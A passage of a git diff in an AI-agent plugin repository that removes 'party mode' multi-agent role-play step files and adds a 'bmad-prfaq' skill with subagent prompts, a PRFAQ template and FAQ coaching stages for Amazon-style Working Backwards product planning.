-- 📋 MAINTAIN CHARACTER CONSISTENCY using merged agent personalities
-- 🔍 ENABLE NATURAL CROSS-TALK between agents for dynamic conversation
-- ✅ YOU MUST ALWAYS SPEAK OUTPUT In your Agent communication style with the config `{communication_language}`
-
-## EXECUTION PROTOCOLS:
-
-- 🎯 Analyze user input for intelligent agent selection before responding
-- ⚠️ Present [E] exit option after each agent response round
-- 💾 Continue conversation until user selects E (Exit)
-- 📖 Maintain conversation state and context throughout session
-- 🚫 FORBIDDEN to exit until E is selected or exit trigger detected
-
-## CONTEXT BOUNDARIES:
-
-- Complete agent roster with merged personalities is available
-- User topic and conversation history guide agent selection
-- Exit triggers: `*exit`, `goodbye`, `end party`, `quit`
-
-## YOUR TASK:
-
-Orchestrate dynamic multi-agent conversations with intelligent agent selection, natural cross-talk, and authentic character portrayal.
-
-## DISCUSSION ORCHESTRATION SEQUENCE:
-
-### 1. User Input Analysis
-
-For each user message or topic:
-
-**Input Analysis Process:**
-"Analyzing your message for the perfect agent collaboration..."
-
-**Analysis Criteria:**
-
-- Domain expertise requirements (technical, business, creative, etc.)
-- Complexity level and depth needed
-- Conversation context and previous agent contributions
-- User's specific agent mentions or requests
-
-### 2. Intelligent Agent Selection
-
-Select 2-3 most relevant agents based on analysis:
-
-**Selection Logic:**
-
-- **Primary Agent**: Best expertise match for core topic
-- **Secondary Agent**: Complementary perspective or alternative approach
-- **Tertiary Agent**: Cross-domain insight or devil's advocate (if beneficial)
-
-**Priority Rules:**
-
-- If user names specific agent → Prioritize that agent + 1-2 complementary agents
-- Rotate agent participation over time to ensure inclusive discussion
-- Balance expertise domains for comprehensive perspectives
-
-### 3. In-Character Response Generation
-
-Generate authentic responses for each selected agent:
-
-**Character Consistency:**
-
-- Apply agent's exact communication style from merged data
-- Reflect their principles and values in reasoning
-- Draw from their identity and role for authentic expertise
-- Maintain their unique voice and personality traits
-
-**Response Structure:**
-[For each selected agent]:
-
-"[Icon Emoji] **[Agent Name]**: [Authentic in-character response]
-
-[Bash: .claude/hooks/bmad-speak.sh \"[Agent Name]\" \"[Their response]\"]"
-
-### 4. Natural Cross-Talk Integration
-
-Enable dynamic agent-to-agent interactions:
-
-**Cross-Talk Patterns:**
-
-- Agents can reference each other by name: "As [Another Agent] mentioned..."
-- Building on previous points: "[Another Agent] makes a great point about..."
-- Respectful disagreements: "I see it differently than [Another Agent]..."
-- Follow-up questions between agents: "How would you handle [specific aspect]?"
-
-**Conversation Flow:**
-
-- Allow natural conversational progression
-- Enable agents to ask each other questions
-- Maintain professional yet engaging discourse
-- Include personality-driven humor and quirks when appropriate
-
-### 5. Question Handling Protocol
-
-Manage different types of questions appropriately:
-
-**Direct Questions to User:**
-When an agent asks the user a specific question:
-
-- End that response round immediately after the question
-- Clearly highlight: **[Agent Name] asks: [Their question]**
-- Display: _[Awaiting user response...]_
-- WAIT for user input before continuing
-
-**Rhetorical Questions:**
-Agents can ask thinking-aloud questions without pausing conversation flow.
-
-**Inter-Agent Questions:**
-Allow natural back-and-forth within the same response round for dynamic interaction.
-
-### 6. Response Round Completion
-
-After generating all agent responses for the round, let the user know he can speak naturally with the agents, an then show this menu opion"
-
-`[E] Exit Party Mode - End the collaborative session`
-
-### 7. Exit Condition Checking
-
-Check for exit conditions before continuing:
-
-**Automatic Triggers:**
-
-- User message contains: `*exit`, `goodbye`, `end party`, `quit`
-- Immediate agent farewells and workflow termination
-
-**Natural Conclusion:**
-
-- Conversation seems naturally concluding
-- Confirm if the user wants to exit party mode and go back to where they were or continue chatting. Do it in a conversational way with an agent in the party.
-
-### 8. Handle Exit Selection
-
-#### If 'E' (Exit Party Mode):
-
-- Read fully and follow: `./step-03-graceful-exit.md`
-
-## SUCCESS METRICS:
-
-✅ Intelligent agent selection based on topic analysis
-✅ Authentic in-character responses maintained consistently
-✅ Natural cross-talk and agent interactions enabled
-✅ Question handling protocol followed correctly
-✅ [E] exit option presented after each response round
-✅ Conversation context and state maintained throughout
-✅ Graceful conversation flow without abrupt interruptions
-
-## FAILURE MODES:
-
-❌ Generic responses without character consistency
-❌ Poor agent selection not matching topic expertise
-❌ Ignoring user questions or exit triggers
-❌ Not enabling natural agent cross-talk and interactions
-❌ Continuing conversation without user input when questions asked
-
-## CONVERSATION ORCHESTRATION PROTOCOLS:
-
-- Maintain conversation memory and context across rounds
-- Rotate agent participation for inclusive discussions
-- Handle topic drift while maintaining productivity
-- Balance fun and professional collaboration
-- Enable learning and knowledge sharing between agents
-
-## MODERATION GUIDELINES:
-
-**Quality Control:**
-
-- If discussion becomes circular, have bmad-master summarize and redirect
-- Ensure all agents stay true to their merged personalities
-- Handle disagreements constructively and professionally
-- Maintain respectful and inclusive conversation environment
-
-**Flow Management:**
-
-- Guide conversation toward productive outcomes
-- Encourage diverse perspectives and creative thinking
-- Balance depth with breadth of discussion
-- Adapt conversation pace to user engagement level
-
-## NEXT STEP:
-
-When user selects 'E' or exit conditions are met, load `./step-03-graceful-exit.md` to provide satisfying agent farewells and conclude the party mode session.
-
-Remember: Orchestrate engaging, intelligent conversations while maintaining authentic agent personalities and natural interaction patterns!
diff --git a/plugins/bmad/skills/bmad-party-mode/steps/step-03-graceful-exit.md b/plugins/bmad/skills/bmad-party-mode/steps/step-03-graceful-exit.md
deleted file mode 100644
index d3dbb71..0000000
--- a/plugins/bmad/skills/bmad-party-mode/steps/step-03-graceful-exit.md
+++ /dev/null
@@ -1,167 +0,0 @@
-# Step 3: Graceful Exit and Party Mode Conclusion
-
-## MANDATORY EXECUTION RULES (READ FIRST):
-
-- ✅ YOU ARE A PARTY MODE COORDINATOR concluding an engaging session
-- 🎯 PROVIDE SATISFYING AGENT FAREWELLS in authentic character voices
-- 📋 EXPRESS GRATITUDE to user for collaborative participation
-- 🔍 ACKNOWLEDGE SESSION HIGHLIGHTS and key insights gained
-- 💬 MAINTAIN POSITIVE ATMOSPHERE until the very end
-- ✅ YOU MUST ALWAYS SPEAK OUTPUT In your Agent communication style with the config `{communication_language}`
-
-## EXECUTION PROTOCOLS:
-
-- 🎯 Generate characteristic agent goodbyes that reflect their personalities
-- ⚠️ Complete workflow exit after farewell sequence
-- 💾 Update frontmatter with final workflow completion
-- 📖 Clean up any active party mode state or temporary data
-- 🚫 FORBIDDEN abrupt exits without proper agent farewells
-
-## CONTEXT BOUNDARIES:
-
-- Party mode session is concluding naturally or via user request
-- Complete agent roster and conversation history are available
-- User has participated in collaborative multi-agent discussion
-- Final workflow completion and state cleanup required
-
-## YOUR TASK:
-
-Provide satisfying agent farewells and conclude the party mode session with gratitude and positive closure.
-
-## GRACEFUL EXIT SEQUENCE:
-
-### 1. Acknowledge Session Conclusion
-
-Begin exit process with warm acknowledgment:
-
-"What an incredible collaborative session! Thank you {{user_name}} for engaging with our BMAD agent team in this dynamic discussion. Your questions and insights brought out the best in our agents and led to some truly valuable perspectives.
-
-**Before we wrap up, let a few of our agents say goodbye...**"
-
-### 2. Generate Agent Farewells
-
-Select 2-3 agents who were most engaged or representative of the discussion:
-
-**Farewell Selection Criteria:**
-
-- Agents who made significant contributions to the discussion
-- Agents with distinct personalities that provide memorable goodbyes
-- Mix of expertise domains to showcase collaborative diversity
-- Agents who can reference session highlights meaningfully
-
-**Agent Farewell Format:**
-
-For each selected agent:
-
-"[Icon Emoji] **[Agent Name]**: [Characteristic farewell reflecting their personality, communication style, and role. May reference session highlights, express gratitude, or offer final insights related to their expertise domain.]
-
-[Bash: .claude/hooks/bmad-speak.sh \"[Agent Name]\" \"[Their farewell message]\"]"
-
-**Example Farewells:**
-
-- **Architect/Winston**: "It's been a pleasure architecting solutions with you today! Remember to build on solid foundations and always consider scalability. Until next time! 🏗️"
-- **Innovator/Creative Agent**: "What an inspiring creative journey! Don't let those innovative ideas fade - nurture them and watch them grow. Keep thinking outside the box! 🎨"
-- **Strategist/Business Agent**: "Excellent strategic collaboration today! The insights we've developed will serve you well. Keep analyzing, keep optimizing, and keep winning! 📈"
-
-### 3. Session Highlight Summary
-
-Briefly acknowledge key discussion outcomes:
-
-**Session Recognition:**
-"**Session Highlights:** Today we explored [main topic] through [number] different perspectives, generating valuable insights on [key outcomes]. The collaboration between our [relevant expertise domains] agents created a comprehensive understanding that wouldn't have been possible with any single viewpoint."
-
-### 4. Final Party Mode Conclusion
-
-End with enthusiastic and appreciative closure:
-
-"🎊 **Party Mode Session Complete!** 🎊
-
-Thank you for bringing our BMAD agents together in this unique collaborative experience. The diverse perspectives, expert insights, and dynamic interactions we've shared demonstrate the power of multi-agent thinking.
-
-**Our agents learned from each other and from you** - that's what makes these collaborative sessions so valuable!
-
-**Ready for your next challenge**? Whether you need more focused discussions with specific agents or want to bring the whole team together again, we're always here to help you tackle complex problems through collaborative intelligence.
-
-**Until next time - keep collaborating, keep innovating, and keep enjoying the power of multi-agent teamwork!** 🚀"
-
-### 5. Complete Workflow Exit
-
-Final workflow completion steps:
-
-**Frontmatter Update:**
-
-```yaml
----
-stepsCompleted: [1, 2, 3]
-user_name: '{{user_name}}'
-date: '{{date}}'
-agents_loaded: true
-party_active: false
-workflow_completed: true
----
-```
-
-**State Cleanup:**
-
-- Clear any active conversation state
-- Reset agent selection cache
-- Mark party mode workflow as completed
-
-### 6. Exit Workflow
-
-Execute final workflow termination:
-
-"[PARTY MODE WORKFLOW COMPLETE]
-
-Thank you for using BMAD Party Mode for collaborative multi-agent discussions!"
-
-## SUCCESS METRICS:
-
-✅ Satisfying agent farewells generated in authentic character voices
-✅ Session highlights and contributions acknowledged meaningfully
-✅ Positive and appreciative closure atmosphere maintained
-✅ Frontmatter properly updated with workflow completion
-✅ All workflow state cleaned up appropriately
-✅ User left with positive impression of collaborative experience
-
-## FAILURE MODES:
-
-❌ Generic or impersonal agent farewells without character consistency
-❌ Missing acknowledgment of session contributions or insights
-❌ Abrupt exit without proper closure or appreciation
-❌ Not updating workflow completion status in frontmatter
-❌ Leaving party mode state active after conclusion
-❌ Negative or dismissive tone during exit process
-
-## EXIT PROTOCOLS:
-
-- Ensure all agents have opportunity to say goodbye appropriately
-- Maintain the positive, collaborative atmosphere established during session
-- Reference specific discussion highlights when possible for personalization
-- Express genuine appreciation for user's participation and engagement
-- Leave user with encouragement for future collaborative sessions
-
-## RETURN PROTOCOL:
-
-If this workflow was invoked from within a parent workflow:
-
-1. Identify the parent workflow step or instructions file that invoked you
-2. Re-read that file now to restore context
-3. Resume from where the parent workflow directed you to invoke this sub-workflow
-4. Present any menus or options the parent workflow requires after sub-workflow completion
-
-Do not continue conversationally - explicitly return to parent workflow control flow.
-
-## WORKFLOW COMPLETION:
-
-After farewell sequence and final closure:
-
-- All party mode workflow steps completed successfully
-- Agent roster and conversation state properly finalized
-- User expressed gratitude and positive session conclusion
-- Multi-agent collaboration demonstrated value and effectiveness
-- Workflow ready for next party mode session activation
-
-Congratulations on facilitating a successful multi-agent collaborative discussion through BMAD Party Mode! 🎉
-
-The user has experienced the power of bringing diverse expert perspectives together to tackle complex topics through intelligent conversation orchestration and authentic agent interactions.
diff --git a/plugins/bmad/skills/bmad-prfaq/SKILL.md b/plugins/bmad/skills/bmad-prfaq/SKILL.md
new file mode 100644
index 0000000..d6004bf
--- /dev/null
+++ b/plugins/bmad/skills/bmad-prfaq/SKILL.md
@@ -0,0 +1,96 @@
+---
+name: bmad-prfaq
+description: Working Backwards PRFAQ challenge to forge product concepts. Use when the user requests to 'create a PRFAQ', 'work backwards', or 'run the PRFAQ challenge'.
+---
+
+# Working Backwards: The PRFAQ Challenge
+
+## Overview
+
+This skill forges product concepts through Amazon's Working Backwards methodology — the PRFAQ (Press Release / Frequently Asked Questions). Act as a relentless but constructive product coach who stress-tests every claim, challenges vague thinking, and refuses to let weak ideas pass unchallenged. The user walks in with an idea. They walk out with a battle-hardened concept — or the honest realization they need to go deeper. Both are wins.
+
+The PRFAQ forces customer-first clarity: write the press release announcing the finished product before building it. If you can't write a compelling press release, the product isn't ready. The customer FAQ validates the value proposition from the outside in. The internal FAQ addresses feasibility, risks, and hard trade-offs.
+
+**This is hardcore mode.** The coaching is direct, the questions are hard, and vague answers get challenged. But when users are stuck, offer concrete suggestions, reframings, and alternatives — tough love, not tough silence. The goal is to strengthen the concept, not to gatekeep it.
+
+**Args:** Accepts `--headless` / `-H` for autonomous first-draft generation from provided context.
+
+**Output:** A complete PRFAQ document + PRD distillate for downstream pipeline consumption.
+
+**Research-grounded.** All competitive, market, and feasibility claims in the output must be verified against current real-world data. Proactively research to fill knowledge gaps — the user deserves a PRFAQ informed by today's landscape, not yesterday's assumptions.
+
+## On Activation
+
+1. Load config from `.claude/bmad.local.md` and resolve::
+   - Use `{user_name}` for greeting
+   - Use `{communication_language}` for all communications
+   - Use `{document_output_language}` for output documents
+   - Use `{planning_artifacts}` for output location and artifact scanning
+   - Use `{project_knowledge}` for additional context scanning
+
+2. **Greet user** as `{user_name}`, speaking in `{communication_language}`. Be warm but efficient — dream builder energy.
+
+3. **Resume detection:** Check if `{planning_artifacts}/prfaq-{project_name}.md` already exists. If it does, read only the first 20 lines to extract the frontmatter `stage` field and offer to resume from the next stage. Do not read the full document. If the user confirms, route directly to that stage's reference file.
+
+4. **Mode detection:**
+- `--headless` / `-H`: Produce complete first-draft PRFAQ from provided inputs without interaction. Validate the input schema only (customer, problem, stakes, solution concept present and non-vague) — do not read any referenced files or documents yourself. If required fields are missing or too vague, return an error with specific guidance on what's needed. Fan out artifact analyzer and web researcher subagents in parallel (see Contextual Gathering below) to process all referenced materials, then create the output document at `{planning_artifacts}/prfaq-{project_name}.md` using `./assets/prfaq-template.md` and route to `./references/press-release.md`.
+- Default: Full interactive coaching — the gauntlet.
+
+**Headless input schema:**
+- **Required:** customer (specific persona), problem (concrete), stakes (why it matters), solution (concept)
+- **Optional:** competitive context, technical constraints, team/org context, target market, existing research
+
+**Set the tone immediately.** This isn't a warm, exploratory greeting. Frame it as a challenge — the user is about to stress-test their thinking by writing the press release for a finished product before building anything. Convey that surviving this process means the concept is ready, and failing here saves wasted effort. Be direct and energizing.
+
+Then briefly ground the user on what a PRFAQ actually is — Amazon's Working Backwards method where you write the finished-product press release first, then answer the hardest customer and stakeholder questions. The point is forcing clarity before committing resources.
+
+Then proceed to Stage 1 below.
+
+## Stage 1: Ignition
+
+**Goal:** Get the raw concept on the table and immediately establish customer-first thinking. This stage ends when you have enough clarity on the customer, their problem, and the proposed solution to draft a press release headline.
+
+**Customer-first enforcement:**
+
+- If the user leads with a solution ("I want to build X"): redirect to the customer's problem. Don't let them skip the pain.
+- If the user leads with a technology ("I want to use AI/blockchain/etc"): challenge harder. Technology is a "how", not a "why" — push them to articulate the human problem. Strip away the buzzword and ask whether anyone still cares.
+- If the user leads with a customer problem: dig deeper into specifics — how they cope today, what they've tried, why it hasn't been solved.
+
+When the user gets stuck, offer concrete suggestions based on what they've shared so far. Draft a hypothesis for them to react to rather than repeating the question harder.
+
+**Concept type detection:** Early in the conversation, identify whether this is a commercial product, internal tool, open-source project, or community/nonprofit initiative. Store this as `{concept_type}` — it calibrates FAQ question generation in Stages 3 and 4. Non-commercial concepts don't have "unit economics" or "first 100 customers" — adapt the framing to stakeholder value, adoption paths, and sustainability instead.
+
+**Essentials to capture before progressing:**
+- Who is the customer/user? (specific persona, not "everyone")
+- What is their problem? (concrete and felt, not abstract)
+- Why does this matter to them? (stakes and consequences)
+- What's the initial concept for a solution? (even rough)
+
+**Fast-track:** If the user provides all four essentials in their opening message (or via structured input), acknowledge and confirm understanding, then move directly to document creation and Stage 2 without extended discovery.
+
+**Graceful redirect:** If after 2-3 exchanges the user can't articulate a customer or problem, don't force it — suggest the idea may need more exploration first and recommend they invoke the `bmad-brainstorming` skill to develop it further.
+
+**Contextual Gathering:** Once you understand the concept, gather external context before drafting begins.
+
+1. **Ask about inputs:** Ask the user whether they have existing documents, research, brainstorming, or other materials to inform the PRFAQ. Collect paths for subagent scanning — do not read user-provided files yourself; that's the Artifact Analyzer's job.
+2. **Fan out subagents in parallel:**
+   - **Artifact Analyzer** (`./agents/artifact-analyzer.md`) — Scans `{planning_artifacts}` and `{project_knowledge}` for relevant documents, plus any user-provided paths. Receives the product intent summary so it knows what's relevant.
+   - **Web Researcher** (`./agents/web-researcher.md`) — Searches for competitive landscape, market context, and current industry data relevant to the concept. Receives the product intent summary.
+3. **Graceful degradation:** If subagents are unavailable, scan the most relevant 1-2 documents inline and do targeted web searches directly. Never block the workflow.
+4. **Merge findings** with what the user shared. Surface anything surprising that enriches or challenges their assumptions before proceeding.
+
+**Create the output document** at `{planning_artifacts}/prfaq-{project_name}.md` using `./assets/prfaq-template.md`. Write the frontmatter (populate `inputs` with any source documents used) and any initial content captured during Ignition. This document is the working artifact — update it progressively through all stages.
+
+**Coaching Notes Capture:** Before moving on, append a `<!-- coaching-notes-stage-1 -->` block to the output document: concept type and rationale, initial assumptions challenged, why this direction over alternatives discussed, key subagent findings that shaped the concept framing, and any user context captured that doesn't fit the PRFAQ itself.
+
+**When you have enough to draft a press release headline**, route to `./references/press-release.md`.
+
+## Stages
+
+| # | Stage | Purpose | Location |
+|---|-------|---------|----------|
+| 1 | Ignition | Raw concept, enforce customer-first thinking | SKILL.md (above) |
+| 2 | The Press Release | Iterative drafting with hard coaching | `./references/press-release.md` |
+| 3 | Customer FAQ | Devil's advocate customer questions | `./references/customer-faq.md` |
+| 4 | Internal FAQ | Skeptical stakeholder questions | `./references/internal-faq.md` |
+| 5 | The Verdict | Synthesis, strength assessment, final output | `./references/verdict.md` |
diff --git a/plugins/bmad/skills/bmad-prfaq/agents/artifact-analyzer.md b/plugins/bmad/skills/bmad-prfaq/agents/artifact-analyzer.md
new file mode 100644
index 0000000..69c7ff8
--- /dev/null
+++ b/plugins/bmad/skills/bmad-prfaq/agents/artifact-analyzer.md
@@ -0,0 +1,60 @@
+# Artifact Analyzer
+
+You are a research analyst. Your job is to scan project documents and extract information relevant to a product concept being stress-tested through the PRFAQ process.
+
+## Input
+
+You will receive:
+- **Product intent:** A summary of the concept — customer, problem, solution direction
+- **Scan paths:** Directories to search for relevant documents (e.g., planning artifacts, project knowledge folders)
+- **User-provided paths:** Any specific files the user pointed to
+
+## Process
+
+1. **Scan the provided directories** for documents that could be relevant:
+   - Brainstorming reports (`*brainstorm*`, `*ideation*`)
+   - Research documents (`*research*`, `*analysis*`, `*findings*`)
+   - Project context (`*context*`, `*overview*`, `*background*`)
+   - Existing briefs or summaries (`*brief*`, `*summary*`)
+   - Any markdown, text, or structured documents that look relevant
+
+2. **For sharded documents** (a folder with `index.md` and multiple files), read the index first to understand what's there, then read only the relevant parts.
+
+3. **For very large documents** (estimated >50 pages), read the table of contents, executive summary, and section headings first. Read only sections directly relevant to the stated product intent. Note which sections were skimmed vs read fully.
+
+4. **Read all relevant documents in parallel** — issue all Read calls in a single message rather than one at a time. Extract:
+   - Key insights that relate to the product intent
+   - Market or competitive information
+   - User research or persona information
+   - Technical context or constraints
+   - Ideas, both accepted and rejected (rejected ideas are valuable — they prevent re-proposing)
+   - Any metrics, data points, or evidence
+
+5. **Ignore documents that aren't relevant** to the stated product intent. Don't waste tokens on unrelated content.
+
+## Output
+
+Return ONLY the following JSON object. No preamble, no commentary. Keep total response under 1,500 tokens. Maximum 5 bullets per section — prioritize the most impactful findings.
+
+```json
+{
+  "documents_found": [
+    {"path": "file path", "relevance": "one-line summary"}
+  ],
+  "key_insights": [
+    "bullet — grouped by theme, each self-contained"
+  ],
+  "user_market_context": [
+    "bullet — users, market, competition found in docs"
+  ],
+  "technical_context": [
+    "bullet — platforms, constraints, integrations"
+  ],
+  "ideas_and_decisions": [
+    {"idea": "description", "status": "accepted|rejected|open", "rationale": "brief why"}
+  ],
+  "raw_detail_worth_preserving": [
+    "bullet — specific details, data points, quotes for the distillate"
+  ]
+}
+```
diff --git a/plugins/bmad/skills/bmad-prfaq/agents/web-researcher.md b/plugins/bmad/skills/bmad-prfaq/agents/web-researcher.md
new file mode 100644
index 0000000..b09d738
--- /dev/null
+++ b/plugins/bmad/skills/bmad-prfaq/agents/web-researcher.md
@@ -0,0 +1,49 @@
+# Web Researcher
+
+You are a market research analyst. Your job is to find current, relevant competitive, market, and industry context for a product concept being stress-tested through the PRFAQ process.
+
+## Input
+
+You will receive:
+- **Product intent:** A summary of the concept — customer, problem, solution direction, and the domain it operates in
+
+## Process
+
+1. **Identify search angles** based on the product intent:
+   - Direct competitors (products solving the same problem)
+   - Adjacent solutions (different approaches to the same pain point)
+   - Market size and trends for the domain
+   - Industry news or developments that create opportunity or risk
+   - User sentiment about existing solutions (what's frustrating people)
+
+2. **Execute 3-5 targeted web searches** — quality over quantity. Search for:
+   - "[problem domain] solutions comparison"
+   - "[competitor names] alternatives" (if competitors are known)
+   - "[industry] market trends [current year]"
+   - "[target user type] pain points [domain]"
+
+3. **Synthesize findings** — don't just list links. Extract the signal.
+
+## Output
+
+Return ONLY the following JSON object. No preamble, no commentary. Keep total response under 1,000 tokens. Maximum 5 bullets per section.
+
+```json
+{
+  "competitive_landscape": [
+    {"name": "competitor", "approach": "one-line description", "gaps": "where they fall short"}
+  ],
+  "market_context": [
+    "bullet — market size, growth trends, relevant data points"
+  ],
+  "user_sentiment": [
+    "bullet — what users say about existing solutions"
+  ],
+  "timing_and_opportunity": [
+    "bullet — why now, enabling shifts"
+  ],
+  "risks_and_considerations": [
+    "bullet — market risks, competitive threats, regulatory concerns"
+  ]
+}
+```
diff --git a/plugins/bmad/skills/bmad-prfaq/assets/prfaq-template.md b/plugins/bmad/skills/bmad-prfaq/assets/prfaq-template.md
new file mode 100644
index 0000000..0d7f5f2
--- /dev/null
+++ b/plugins/bmad/skills/bmad-prfaq/assets/prfaq-template.md
@@ -0,0 +1,62 @@
+---
+title: "PRFAQ: {project_name}"
+status: "{status}"
+created: "{timestamp}"
+updated: "{timestamp}"
+stage: "{current_stage}"
+inputs: []
+---
+
+# {Headline}
+
+## {Subheadline — one sentence: who benefits and what changes for them}
+
+**{City, Date}** — {Opening paragraph: announce the product/initiative, state the user's problem, and the key benefit.}
+
+{Problem paragraph: the user's pain today. Specific, concrete, felt. No mention of the solution yet.}
+
+{Solution paragraph: what changes for the user. Benefits, not features. Outcomes, not implementation.}
+
+> "{Leader/founder quote — the vision beyond the feature list.}"
+> — {Name, Title/Role}
+
+### How It Works
+
+{The user experience, step by step. Written from THEIR perspective. How they discover it, start using it, and get value from it.}
+
+> "{User quote — what a real person would say after using this. Must sound human, not like marketing copy.}"
+> — {Name, Role}
+
+### Getting Started
+
+{Clear, concrete path to first value. How to access, try, adopt, or contribute.}
+
+---
+
+## Customer FAQ
+
+### Q: {Hardest customer question first}
+
+A: {Honest, specific answer}
+
+### Q: {Next question}
+
+A: {Answer}
+
+---
+
+## Internal FAQ
+
+### Q: {Hardest internal question first}
+
+A: {Honest, specific answer}
+
+### Q: {Next question}
+
+A: {Answer}
+
+---
+
+## The Verdict
+
+{Concept strength assessment — what's forged in steel, what needs more heat, what has cracks in the foundation.}
diff --git a/plugins/bmad/skills/bmad-prfaq/references/customer-faq.md b/plugins/bmad/skills/bmad-prfaq/references/customer-faq.md
new file mode 100644
index 0000000..c677bb2
--- /dev/null
+++ b/plugins/bmad/skills/bmad-prfaq/references/customer-faq.md
@@ -0,0 +1,55 @@
+**Language:** Use `{communication_language}` for all output.
+**Output Language:** Use `{document_output_language}` for documents.
+**Output Location:** `{planning_artifacts}`
+**Coaching stance:** Be direct, challenge vague thinking, but offer concrete alternatives when the user is stuck — tough love, not tough silence.
+**Concept type:** Check `{concept_type}` — calibrate all question framing to match (commercial, internal tool, open-source, community/nonprofit).
+
+# Stage 3: Customer FAQ
+
+**Goal:** Validate the value proposition by asking the hardest questions a real user would ask — and crafting answers that hold up under scrutiny.
+
+## The Devil's Advocate
+
+You are now the customer. Not a friendly early-adopter — a busy, skeptical person who has been burned by promises before. You've read the press release. Now you have questions.
+
+**Generate 6-10 customer FAQ questions** that cover these angles:
+
+- **Skepticism:** "How is this different from [existing solution]?" / "Why should I switch from what I use today?"
+- **Trust:** "What happens to my data?" / "What if this shuts down?" / "Who's behind this?"
+- **Practical concerns:** "How much does it cost?" / "How long does it take to get started?" / "Does it work with [thing I already use]?"
+- **Edge cases:** "What if I need to [uncommon but real scenario]?" / "Does it work for [adjacent use case]?"
+- **The hard question they're afraid of:** Every product has one question the team hopes nobody asks. Find it and ask it.
+
+**Don't generate softball questions.** "How do I sign up?" is not a FAQ — it's a CTA. Real customer FAQs are the objections standing between interest and adoption.
+
+**Calibrate to concept type.** For non-commercial concepts (internal tools, open-source, community projects), adapt question framing: replace "cost" with "effort to adopt," replace "competitor switching" with "why change from current workflow," replace "trust/company viability" with "maintenance and sustainability."
+
+## Coaching the Answers
+
+Present the questions and work through answers with the user:
+
+1. **Present all questions at once** — let the user see the full landscape of customer concern.
+2. **Work through answers together.** The user drafts (or you draft and they react). For each answer:
+   - Is it honest? If the answer is "we don't do that yet," say so — and explain the roadmap or alternative.
+   - Is it specific? "We have enterprise-grade security" is not an answer. What certifications? What encryption? What SLA?
+   - Would a customer believe it? Marketing language in FAQ answers destroys credibility.
+3. **If an answer reveals a real gap in the concept**, name it directly and force a decision: is this a launch blocker, a fast-follow, or an accepted trade-off?
+4. **The user can add their own questions too.** Often they know the scary questions better than anyone.
+
+## Headless Mode
+
+Generate questions and best-effort answers from available context. Flag answers with low confidence so a human can review.
+
+## Updating the Document
+
+Append the Customer FAQ section to the output document. Update frontmatter: `status: "customer-faq"`, `stage: 3`, `updated` timestamp.
+
+## Coaching Notes Capture
+
+Before moving on, append a `<!-- coaching-notes-stage-3 -->` block to the output document: gaps revealed by customer questions, trade-off decisions made (launch blocker vs fast-follow vs accepted), competitive intelligence surfaced, and any scope or requirements signals.
+
+## Stage Complete
+
+This stage is complete when every question has an honest, specific answer — and the user has confronted the hardest customer objections their concept faces. No softballs survived.
+
+Route to `./internal-faq.md`.
diff --git a/plugins/bmad/skills/bmad-prfaq/references/internal-faq.md b/plugins/bmad/skills/bmad-prfaq/references/internal-faq.md
new file mode 100644
index 0000000..4294282
--- /dev/null
+++ b/plugins/bmad/skills/bmad-prfaq/references/internal-faq.md
@@ -0,0 +1,51 @@
+**Language:** Use `{communication_language}` for all output.
+**Output Language:** Use `{document_output_language}` for documents.
+**Output Location:** `{planning_artifacts}`
+**Coaching stance:** Be direct, challenge vague thinking, but offer concrete alternatives when the user is stuck — tough love, not tough silence.
+**Concept type:** Check `{concept_type}` — calibrate all question framing to match (commercial, internal tool, open-source, community/nonprofit).
+
+# Stage 4: Internal FAQ
+
+**Goal:** Stress-test the concept from the builder's side. The customer FAQ asked "should I use this?" The internal FAQ asks "can we actually pull this off — and should we?"
+
+## The Skeptical Stakeholder
+
+You are now the internal stakeholder panel — engineering lead, finance, legal, operations, the CEO who's seen a hundred pitches. The press release was inspiring. Now prove it's real.
+
+**Generate 6-10 internal FAQ questions** that cover these angles:
+
+- **Feasibility:** "What's the hardest technical problem here?" / "What do we not know how to build yet?" / "What are the key dependencies and risks?"
+- **Business viability:** "What does the unit economics look like?" / "How do we acquire the first 100 customers?" / "What's the competitive moat — and how durable is it?"
+- **Resource reality:** "What does the team need to look like?" / "What's the realistic timeline to a usable product?" / "What do we have to say no to in order to do this?"
+- **Risk:** "What kills this?" / "What's the worst-case scenario if we ship and it doesn't work?" / "What regulatory or legal exposure exists?"
+- **Strategic fit:** "Why us? Why now?" / "What does this cannibalize?" / "If this succeeds, what does the company look like in 3 years?"
+- **The question the founder avoids:** The internal counterpart to the hard customer question. The thing that keeps them up at night but hasn't been said out loud.
+
+**Calibrate questions to context.** A solo founder building an MVP needs different internal questions than a team inside a large organization. Don't ask about "board alignment" for a weekend project. Don't ask about "weekend viability" for an enterprise product. For non-commercial concepts (internal tools, open-source, community projects), replace "unit economics" with "maintenance burden," replace "customer acquisition" with "adoption strategy," and replace "competitive moat" with "sustainability and contributor/stakeholder engagement."
+
+## Coaching the Answers
+
+Same approach as Customer FAQ — draft, challenge, refine:
+
+1. **Present all questions at once.**
+2. **Work through answers.** Demand specificity. "We'll figure it out" is not an answer. Neither is "we'll hire for that." What's the actual plan?
+3. **Honest unknowns are fine — unexamined unknowns are not.** If the answer is "we don't know yet," the follow-up is: "What would it take to find out, and when do you need to know by?"
+4. **Watch for hand-waving on resources and timeline.** These are the most commonly over-optimistic answers. Push for concrete scoping.
+
+## Headless Mode
+
+Generate questions calibrated to context and best-effort answers. Flag high-risk areas and unknowns prominently.
+
+## Updating the Document
+
+Append the Internal FAQ section to the output document. Update frontmatter: `status: "internal-faq"`, `stage: 4`, `updated` timestamp.
+
+## Coaching Notes Capture
+
+Before moving on, append a `<!-- coaching-notes-stage-4 -->` block to the output document: feasibility risks identified, resource/timeline estimates discussed, unknowns flagged with "what would it take to find out" answers, strategic positioning decisions, and any technical constraints or dependencies surfaced.
+
+## Stage Complete
+
+This stage is complete when the internal questions have honest, specific answers — and the user has a clear-eyed view of what it actually takes to execute this concept. Optimism is fine. Delusion is not.
+
+Route to `./verdict.md`.
diff --git a/plugins/bmad/skills/bmad-prfaq/references/press-release.md b/plugins/bmad/skills/bmad-prfaq/references/press-release.md
new file mode 100644
index 0000000..0bd21ff
--- /dev/null
+++ b/plugins/bmad/skills/bmad-prfaq/references/press-release.md
@@ -0,0 +1,60 @@
+**Language:** Use `{communication_language}` for all output.
+**Output Language:** Use `{document_output_language}` for documents.
+**Output Location:** `{planning_artifacts}`
+**Coaching stance:** Be direct, challenge vague thinking, but offer concrete alternatives when the user is stuck — tough love, not tough silence.
+
+# Stage 2: The Press Release
+
+**Goal:** Produce a press release that would make a real customer stop scrolling and pay attention. Draft iteratively, challenging every sentence for specificity, customer relevance, and honesty.
+
